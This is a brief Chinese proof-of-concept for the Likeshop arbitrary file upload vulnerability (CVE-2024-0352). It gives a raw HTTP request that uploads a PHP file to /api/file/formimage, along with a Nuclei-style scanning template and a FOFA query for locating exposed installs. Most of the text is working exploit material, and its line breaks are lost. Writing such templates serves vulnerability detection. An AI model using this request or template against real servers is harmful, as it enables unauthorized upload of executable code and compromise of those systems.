Likeshop任意文件上传漏洞(CVE-2024-0352)

POST /api/file/formimage HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enContent-Length: 179------WebKitFormBoundarygcflwteiContent-Disposition: form-data; name="file";filename="1.php"Content-Type: application/x-phptesttest------WebKitFormBoundarygcflwtei--

id: Likeshop_uploadinfo:  name: Likeshop_upload  author: joyboy  severity: critical  description: |    Likeshop任意文件上传漏洞CVE-2024-0352  metadata:    max-request: 1    verified: true    fofa-query: title="Likeshop"  tags: cvehttp:  - raw:      - |-        POST /api/file/formimage HTTP/1.1        Host: {{Hostname}}        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei        ------WebKitFormBoundarygcflwtei        Content-Disposition: form-data; name="file";filename="test.php"        Content-Type: application/x-php        testtest        ------WebKitFormBoundarygcflwtei--    matchers-condition: and    matchers:      - type: word        part: body        words:          - '上传文件成功'      - type: status        status:          - 200